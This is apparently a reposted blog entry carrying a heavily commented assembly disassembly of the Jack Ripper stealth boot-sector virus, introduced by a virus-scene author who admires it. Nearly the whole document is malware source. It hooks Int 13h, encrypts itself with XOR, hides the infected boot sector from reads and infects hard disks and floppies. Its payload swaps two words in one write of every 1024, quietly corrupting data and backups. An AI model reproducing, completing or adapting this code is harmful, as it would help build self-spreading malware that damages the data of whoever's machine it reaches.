posted by 블르샤이닝 2012. 2. 27. 19:59
728x90
;
; VIRUS NAME: Jack Ripper
; ORIGIN    : Bulgaria
; VIRUS SIZE: 2 Sectors
; VIRUS TYPE: Stealth MBR/BS Infector
; PAYLOAD   : 1 in 1024 disk writes, it swaps 2 words in the write buffer
;
; 
; The Ripper Virus is a very common boot sector virus.  It was the first
; virus that I ever came across.  I was fascinated how it could evade my 
; ignorant teachers at my school's computer lab.  (They couldn't figure 
; out that their AV boot disks were infected.)  After the problem persisted 
; for months, they literally threw away all their disks, formatted the hard
; drives, installed Lame AV, installed security programs, and went to a
; diskless system.  Ripper might be gone, but its memory in that lab
; still lingers.
;
; Anywayz, since it was the first virus I came across, and the virus that
; got me interested in the scene, I decided to do it justice and have it be
; the first virus that I disassembled.  When I started disassembling
; I knew nothing about Boot Viruses (or disassembling as you will see), but 
; after bugging VD for days, he wrote a Boot Virus tutorial, which should 
; also be included in this SLAM edition.  If you like comments, you will 
; find tons of comments.
;
; Although I don't like destructive payloads, Ripper's Payload has to be
; the most subtle destructive data diddling that I know of.  Every 1 in 1024
; writes, it swaps two words around in the write buffer, thus a gradual
; corruption of data and backups.  Because of this destructive payload,
; I have not tried to compile it, or try to make a working byte for byte exact
; copy.  As of this writing, there were no varients of the Ripper Virus, and
; I hope the VX community can give Ripper the respect it deserves and leave
; it that way.
;
; Ripper employs lots of cool tricks, and I have learned alot from 
; disassembling it.  I hope I did Jack Ripper justice with my disassembling
; of his virus.

seg000 segment byte public 'CODE'
    assume cs:seg000
    assume es:nothing, ss:nothing, ds:nothing

    jmp	short Start_Ripper  ; Clear Interrups
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    nop	
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IBM db	49h ; I
    db	42h ; B
    db	4Dh ; M
    db	20h ;  
    db	20h ;  
    db	35h ; 5
    db	2Eh ; .
    db	30h ; 0
BytesPerSector db    0
    db	  2 ;  
    db	  2 ;  
Reserved_Sector	dw 1
Num_Of_FATs db 2
Max_Root_Dirs dw 70h
    db 0A0h ;  
    db	  5 ;  
    db 0F9h ; ù
Sectors_in_Fat dw 3
Sctrs_Per_Track	dw 9
    db	  2 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	  0 ;  
    db	29h ; )
    db	  4 ;  
    db	16h ;  
    db	4Eh ; N
    db	34h ; 4
FatName	db 'NO NAME    FAT12   ú3'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Start_Ripper:		      
    
    cli			    ; Clear Interrups
    xor	ax, ax		    ; AX = 0
    mov	ss, ax		    ; SS = 0
    mov	sp, 7C00h	    ; SP = 7C00h
    sti			    ; Restore Interrupts
    mov	si, 7C50h	    ; SI = 7C50h
    push cs		    ; Save CS
    call near ptr XOR_Encryption

Strt_Encryption:

    mov	si, sp		    ; SI = 7C00h
    mov	ax, ds:413h	    ; Get Amount of Free Memory	in Paras
    dec	ax
    dec	ax		    ; Decrease New Amount of Free Memory
    push ax		    ; Save New Amount of Free Memory
    mov	cl, 6
    shl	ax, cl		    ; Convert AX to Segment of Free Memory
    mov	es, ax		    ; ES = Segment of Free Memory
    xor	di, di		    ; DI = 0
    mov	cx, 100h	    ; CX = 100h
    rep	movsw		    ; Move First 512 bytes into	Memory
    mov	ax, offset Memory_Continue; Continue with Resident Copy
    push ds		    ; Push 0
    push es		    ; Push Segment of Ripper in	Memory
    push ax		    ; Push Offset which	we will	return to
    retf		    ; Goto Memory Copy

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Msg db 'FUCK ',27h,'EM UP !'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Memory_Continue:	    

    les	bx, ds:4Ch	    ; BX = Offset of Int 13h, ES = Segment of Int 13h
    push cs
    pop	ds		    ; DS = CS
    mov	Int_13h_Offset,	bx  ; Move Offset of Int 13h into our Handler
    mov	Int_13h_Segment, es ; Move Segment of Int 13h into our Handler
    and	Drive, 80h	    ; Get First	Drive
    mov	dl, Drive	    ; DL = Drive
    mov	dh, Head	    ; DH = Head
    xor	bx, bx		    ; BX = 0
    call Check		    ; Check to see if we are hooked
    pop	es		    ; ES = 0
    jnb	Exit_Hooking	    ; Jump if Carry Flag is Clear
    mov	cx, Loc_2_Sector    ; CX = Location of Second Sector of	Ripper
    mov	bx, 200h	    ; BX = 200h, Directly after	First Half
    push es		    ; Push 0
    push cs
    pop	es		    ; ES = CS
    call Prepare_Read	    ; Read 2nd half of Ripper into Memory
    pop	es		    ; ES = 0
    push es
    pop	ds		    ; DS = 0
    jb	Exit_Hooking	    ; If there is a problem with the Read, Exit
    pop	word ptr ds:413h    ; Set New Amount of	Free Memory
    mov	word ptr ds:4Ch, offset	Int_13h_Handler; Set New Offset	to our Handler
    mov	ds:4Eh,	cs	    ; Set new Segment to our handler
    push ax		    ; Push something for the pop

Exit_Hooking:		    

    pop	ax		    ; Pop the extra Pushed number
    mov	cx, cs:Loc_Old_Boot ; CX = Location of Old Boot	Sector
    mov	bx, sp		    ; BX = 7C00h
    call Prepare_Read	    ; Read Original Boot Sectorto 0000:7C00h
    push es		    ; Push 0
    push bx		    ; Push 7C00h at End	of XOR Loop Return to 0:7C00h
    jmp	short Skip_Signature; Encrypt Memory Resident Txt and Code

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Signature db '(C)1992 Jack Ripper'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Skip_Signature:

    mov	si, offset Strt_Encryption; Encrypt Memory Resident Txt	and Code

XOR_Encryption proc far

    mov	di, si		    ; DI = SI
    push cs
    pop	ds		    ; DS = CS
    push cs
    pop	es		    ; ES = CS

XOR_Loop:		    

    lodsb		    ; Load a byte into AL
    xor	al, 10101010b	    ; XOR it
    stosb		    ; Put it Back
    push di		    ; Save DI
    and	di, 11111111b	    ; Get lower	half of	DI
    cmp	di, offset Skip_Signature; Are we to our stopping point?
    pop	di		    ; Get Old DI back
    jnz	XOR_Loop	    ; Loop if not done
    xor	ax, ax		    ; AX = 0
    mov	ds, ax		    ; DS = 0
    mov	es, ax		    ; ES = 0
    retf		    ; Return
XOR_Encryption endp

Int_13h	proc near

    pushf 
    call dword ptr cs:Int_13h_Offset; Call Original Int	13h
    retn		    ; Return
Int_13h	endp

Prepare_Read proc near	    

    mov	di, 3		    ; Try to Read 3 Times

Read_One_Sector:	    

    xor	ax, ax		    ; AX = 0
    call Int_13h	    ; Reset Disk System
    mov	ax, 201h	    ; AX = 201h
    call Int_13h	    ; Read one Sector into ES:BX buffer
    jnb	Successful_Read	    ; Jump if Read was Successful
    dec	di		    ; Decrease DI
    jnz	Read_One_Sector	    ; If DI > 0, Try to	Read Again

Successful_Read:	    

    retn		    ; Return
Prepare_Read endp

Check proc near

    mov	di, bx		    ; DI = BX
    mov	si, 0E2h            ; SI = E2h
    add	di, si		    ; DI = BX +	E2h
    mov	cx, 20h	            ; CX = 20h

Check_Loop:		    

    cmpsw		    ; Cmp Two Words
    jnz	Not_Equal	    ; Jump if they aren't equal
    loop Check_Loop	    ; Loop
    clc			    ; Clear Carry Flag
    retn		    ; Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Not_Equal:		    

    stc			    ; Set Carry	Flag
    retn		    ; Return
Check endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Read:			

    push ax		    ; Save Registers
    push bx
    push cx
    push dx
    cmp	dl, ds:177h	    ; Does Drive = Our Drive?
    mov	ds:177h, dl	    ; Put Drive	into Drive
    jnz	Not_Same_Drive	    ; Don't read the disk a whole bunch.
    xor	ax, ax		    ; AX = 0
    int	1Ah		    ; CLOCK - GET TIME OF DAY
			    ; Return: CX:DX = clock count
			    ; AL = 00h if clock	was read or written (via AH=0,1) since the previous
			    ; midnight
			    ; Otherwise, AL > 0
    mov	ax, dx		    ; AX = Clock Count
    sub	ax, ds:175h	    ; Sub from Clock Count a previous Clock Count
    mov	ds:175h, dx	    ; Save New Clock Count
    cmp	ax, 36h		    ; Cmp Time to about	3 seconds.
    jb	Less_3_Secs	    ; If below,	Don't Check Infection

Not_Same_Drive:

    pop	dx		    ; Get Head and Drive
    push dx		    ; Save it again
    push si		    ; Push Return Value
    call Check_Infection    ; Check For	Infection
    pop	si		    ; Pop return Value

Less_3_Secs:		    

    pop	dx		    ; Restore Registers
    pop	cx
    pop	bx
    pop	ax
    pop	es
    push es		    ; Save ES
    push si		    ; Save SI
    call Check_To_Stealth   ; Stealth

Exit_Handler:

    pop	es		    ; Restore Registers
    pop	ds
    pop	di
    pop	si
    pop	dx
    pop	cx
    pop	bx
    pop	ax
    popf		    ; Restores Flags
    jmp	dword ptr cs:Int_13h_Offset; Continue with real	Int 13h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Loc_2_Sector dw	4
Loc_Old_Boot dw	5
Int_13h_Offset dw 53ECh
Int_13h_Segment	dw 0F000h
Clock_Count dw 0AC8h
Drive db 0
Head db	1
Partion_Tables db  7Ch ; |
    db 0A3h ; £
    db	4Dh ; M
    db	7Ch ; |
    db 0F8h ; ø
    db 0C3h ; Ã
    db 0F9h ; ù
    db 0C3h ; Ã
    db 0B4h ; ´
    db	  2 ;  
    db	8Bh ; ‹
    db	16h ;  
    db	4Dh ; M
    db	7Ch ; |
    db 0B1h ; ±
    db	  6 ;  
    db 0D2h ; Ò
    db 0E6h ; æ
    db	0Ah ;  
    db	36h ; 6
    db	4Fh ; O
    db	7Ch ; |
    db	8Bh ; ‹
    db 0CAh ; Ê
    db	86h ; †
    db 0E9h ; é
    db	8Ah ; Š
    db	16h ;  
    db	24h ; $
    db	7Ch ; |
    db	8Ah ; Š
    db	36h ; 6
    db	25h ; %
    db	7Ch ; |
    db 0CDh ; Í
    db	13h ;  
    db 0C3h ; Ã
    db	0Dh ;  
    db	0Ah ;  
NonSystemDisk db 'Non-System disk or disk error',0Dh,0Ah
    db 'Replace and press any key when ready',0Dh,0Ah,0
Ibmbio db 'IBMBIO  COMIBMDOS  COM',0
    db	  0 ;  
End_1st_Sector dw 0AA55h

I13h_With_Check	proc far

    call Int_13h	    ; Real Int 13h
    jb	Write_Problem	    ; Problem?
    retn		    ; Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Write_Problem:		    

    pop	bx

Read_Problem:		    

    push bp		    ; Save BP
    mov	bp, sp		    ; BP = Stack
    or	word ptr [bp+12h], 1; Set Carry	Flag
    mov	[bp+10h], ax	    ; Set Error	AX
    pop	bp		    ; Get BP Back

Pop_w_Check:
			    
    pop	es
    pop	ds
    pop	di
    pop	si
    pop	dx
    pop	cx
    pop	bx
    pop	ax
    popf 
    jb	Error_Skip_AX_0	    ; Err: Don't erase our previous AX
    mov	ax, 0		    ; No Error AX = 0

Error_Skip_AX_0:	    

    retf 2
I13h_With_Check	endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Stealth:		    

    call near ptr I13h_With_Check
    call Check		    ; Check for	Infection
    jb	Pop_w_Check	    ; Exit if Not Infected
    mov	cx, es:[bx+16Fh]    ; Find original BS's Track & Sector
    mov	dh, es:[bx+178h]    ; Finde Original BS's Head
    mov	ax, 201h	    ; Read One Sector
    call near ptr I13h_With_Check
    jmp	short Pop_w_Check   ; Exit

SetUp_400_Read proc near

    mov	dh, 0		    ; Head = 0
    mov	cx, 1		    ; Track = 0	Sector = 1
    mov	bx, 400h	    ; BX = 400h
    mov	ax, 201h	    ; Read One Sector
    push cs
    pop	es		    ; ES = CS
    retn 
SetUp_400_Read endp

Read_Into_400 proc near

    call SetUp_400_Read
    call Int_13h	    ; Read One Sector Into CS:400h
    retn		    ; Return
Read_Into_400 endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Return_out_of_Stealth:	    

    mov	si, bx
    mov	di, ax
    push es
    pop	ds		    ; DS = ES
    assume ds:seg000
    call SetUp_400_Read	    ; Read BS to CS:400h
    call near ptr I13h_With_Check
    push di		    ; Save Orginal AX
    push si		    ; Save Original BX
    mov	bx, si		    ; Restore BX
    inc	si
    inc	si		    ; SI = Past	Jump
    call Save_Boot_Headr    ; Move Header info
    push ds
    push cs
    pop	ds		    ; DS = CS
    push cx
    mov	bx, 400h	    ; BX = 400h
    call Check
    pop	cx		    ; Restore CX
    pop	es
    assume es:nothing
    pop	bx		    ; Get Original BX back
    pop	ax		    ; Get Original AX back
    jnb	No_Stealth_Problem  ; SI = 56Fh
    jmp	Exit_Handler	    ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

No_Stealth_Problem:

    mov	si, 56Fh	    ; SI = 56Fh
    mov	cx, [si]	    ; Location Old Boot
    mov	dh, [si+9]	    ; Location Old Head
    call near ptr I13h_With_Check; Stealth it
    call SetUp_400_Read	    ; Read Real	BS
    xor	bx, bx		    ; To CS:0h
    call near ptr I13h_With_Check
    jmp	short Pop_w_Check

Check_To_Stealth proc near

    cmp	ch, 0		    ; Compare Track to 0
    jnz	Continue	    ; Allow if not
    cmp	cl, 1		    ; Cmp Sector to 1
    jnz	No_Stealth	    ; No Need for Stealth
    cmp	dh, 0		    ; Compare Head to 0
    jnz	No_Stealth	    ; No Need for Stealth
    pop	di		    ; Retn to number in	SI
    retn		    ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Continue:
    retn 2
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

No_Stealth:

    add	sp, 4		    ; Remove the bytes pushed by Stealth
    cmp	ah, 2		    ; Is it a read?
    jnz	Not_Read	    ; Check for	Read
    mov	di, ax		    ; Save AX in DI
    call near ptr I13h_With_Check; Read
    mov	ax, di		    ; Restore AX

Check_Again:		    

    mov	di, bx		    ; Save BX in DI
    mov	si, 200h	    ; SI = 200h

Word_Check_Loop:	    

    cmpsw
    jnz	Word_Not_Equal	    ; If they don't equal Jmp
    cmp	si, 400h	    ; Check 200	bytes
    jnz	Word_Check_Loop
    jmp	short Stealth_Disk  ; DI = BX
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Word_Not_Equal:		    

    add	bx, 200h	    ; Increase One Sector
    dec	al		    ; One Less Sector
    jnz	Check_Again	    ; Save BX in DI
    jmp	short AL_Zero
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Stealth_Disk:

    mov	di, bx		    ; DI = BX
    mov	cx, 100h	    ; CX = 100h
    push ax		    ; Save AX
    xor	ax, ax		    ; AX = 0
    rep	stosw		    ; Mov 1024 bytes/2 sectors
    pop	ax		    ; Restore AX
    dec	al		    ; Dec AL again
    jz	AL_Zero
    mov	cx, 100h	    ; CX = 100h
    xor	ax, ax		    ; AX = 0
    rep	stosw

AL_Zero:		    
			    ; Check_To_Stealth+4Aj
    jmp	Pop_w_Check
Check_To_Stealth endp

Payload	proc near

    push ax		    ; Save Registers
    push bx
    push cx
    push dx
    xor	ax, ax		    ; AX = 0
    int	1Ah		    ; CLOCK - GET TIME OF DAY
			    ; Return: CX:DX = clock count
			    ; AL = 00h if clock	was read or written (via AH=0,1) since the previous
			    ; midnight
			    ; Otherwise, AL > 0
    test dx, 1111111111b    ; Test with	3FFh, 1	in 1024	chance
    jnz	Exit_Payload	    ; Jump if not equal
    or	cl, dh		    ; Or CL and	DH to get a random number
    and	cx, 111111100b	    ; Discard top 7 bits and 2 lower bits
    add	bx, cx		    ; Swap 2 words with	a random location
    push word ptr es:[bx]   ; The infamous Ripper Word Swapping
    push word ptr es:[bx+2] ; Push 2 words
    pop	word ptr es:[bx]    ; And Pop them in Reverse order
    pop	word ptr es:[bx+2]

Exit_Payload:		    

    pop	dx		    ; Restore Registers
    pop	cx
    pop	bx
    pop	ax
    retn		    ; Return
Payload	endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Not_Read:

    cmp	al, 1		    ; Is it just one Sector?
    jnz	Exit		    ; Exit If its Not just one sector
    push es		    ; Save Registers
    push bx
    push cx
    push dx
    call Read_Into_400	    ; Read BS right after Virus	in Memory
    pop	dx		    ; Restore the Saved	Registers
    pop	cx
    pop	bx
    pop	es
    jnb	No_Read_Prob	    ; No Problem with Read
    jmp	Read_Problem	    ; Problem with Read
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

No_Read_Prob:		    

    mov	si, 56Dh	    ; SI = 56h
    cmp	dh, [si+0Bh]	    ; Cmp DH with Head on the BS
    jnz	Exit		    ; Exit if they don't equal.
    cmp	cx, [si]	    ; Cmp CX with Location of the 2nd sector.
    jz	Write_BS_MBR	    ; If equal write MBR/BS
    cmp	cx, [si+2]	    ; Cmp CX with location of the Old sector.
    jz	Write_BS_MBR	    ; If equal write MBR/BS

Exit:

    jmp	Exit_Handler	    ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Write_BS_MBR:

    call SetUp_400_Read
    mov	ax, 301h	    ; Write 1 Sector Instead of	Read
    call near ptr I13h_With_Check; Write One Sector
    jmp	Pop_w_Check

Check_Infection	proc near

    call Read_Into_400	    ; Read First Sector	into CS:400
    jnb	No_Read_Error	    ; Jump if No Error
    retn 
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

No_Read_Error:		    

    mov	si, 402h	    ; SI = 402h
    call Save_Boot_Headr
    call Check		    ; Check Infection
    jb	Not_Infected	    ; Jump if it isn't Infected

Infection_Done:

    retn		    ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Not_Infected:		    

    test Drive,	80h	    ; See if the Drive is a Diskette or	HD
    jz	Diskette	    ; Jump to Diskette if it is	a Diskette
    mov	cx, 8		    ; Second Sector Resides at Sector 8

Write_2nd_Sectr:

    mov	bx, 200h	    ; Read from	the Second 512 bytes (200h)
    mov	ax, 302h	    ; Write 2 Sectors
    call Int_13h	    ; Write 2nd	Sector and Orig	Boot Sector
    jb	Infection_Done	    ; Near Return
    mov	Loc_2_Sector, cx    ; Write where to find the Second Sector
    inc	cx		    ; Old Boot is found	right after it.
    mov	Loc_Old_Boot, cx    ; Where to find the	Old boot code
    mov	Head, dh	    ; Save Head
    call SetUp_400_Read
    xor	bx, bx		    ; Start at beginning of Code
    mov	ax, 301h	    ; Write 1 Sector
    call Int_13h	    ; Write the	Boot Sector
    retn		    ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Diskette:		    

    cmp	word ptr BytesPerSector, 200h; Make sure it is a floppy.
    jnz	Infection_Done	    ; Quit if not Equal
    mov	cx, Reserved_Sector ; Location of Reserved Sectors before FAT
    mov	al, Num_Of_FATs	    ; Number Of	FATs
    cbw			    ; Convert byte to word, xor	ah, ah?
    mul	Sectors_in_Fat	    ; AX = # of	FATS * # of Sectors in FAT
    add	cx, ax		    ; CX = Reserved Sectors + Sectors of FATS
    mov	ax, 20h	; ' '       ; AX = 20h
    mul	Max_Root_Dirs	    ; AX = 20h * Max # of Root Directories
    mov	bx, 200h	    ; BX = 200h
    div	bx		    ; AX = 20h * # if Root Dirs	/ 200h
    add	cx, ax		    ; CX = Reserved + Fat + Root Dir
    dec	cx		    ; Decrease CX by 1
    mov	dh, 1		    ; DH = 1
    sub	cx, Sctrs_Per_Track ; CX = Reserved + FAT + Root Dir - 1 - Track
    mov	dl, Drive	    ; DL = Drive
    jmp	short Write_2nd_Sectr; Go Write	the Second Sector
Check_Infection	endp

Save_Boot_Headr	proc near

    mov	di, 2		    ; DI = 2

Move_Header_Loop:	    

    movsb		    ; Move a byte from DS:DI to	ES:DI
    cmp	di, 40h
    jnz	Move_Header_Loop    ; Jump if we are not done
    mov	si, bx		    ; Si = 400h
    mov	di, offset Partion_Tables
    add	si, di		    ; DI = 400h	+ Partition Table

Move_Something:

    movsb
    cmp	di, 200h
    jnz	Move_Something
    retn 
Save_Boot_Headr	endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Int_13h_Handler:	    

    clc			    ; Clear Carry Flag
    pushf		    ; Save Flags
    push ax		    ; Save Registers
    push bx
    push cx
    push dx
    push si
    push di
    push ds
    push es
    push cs
    pop	ds		    ; DS = CS
    cld			    ; Clear Direction Flag
    cmp	ah, 2		    ; Read?
    jnz	Check_For_Write	    ; If Not a Read Continue our checks
    mov	si, offset Stealth  ; Return to
    jmp	Read		    ; Jmp to Read
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Check_For_Write:

    cmp	ah, 3		    ; Write?
    jz	Write		    ; Jump if it is

Allow_Write:		    

    jmp	Exit_Handler	    ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Write:

    call Payload	    ; Payload time
    cmp	cx, 1		    ; Does Track = 0 and Sector	= 1?
    jnz	Not_Boot_Sector	    ; If not the bootsector, Jump
    cmp	al, 1		    ; Are they only writing one	sector?
    jnz	Allow_Write	    ; If not, Jump

Not_Boot_Sector:	    

    mov	si, offset Return_out_of_Stealth; Return to
    jmp	Read		    ; Save Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    db 0D2h ; Ò

seg000 ends
    end	
728x90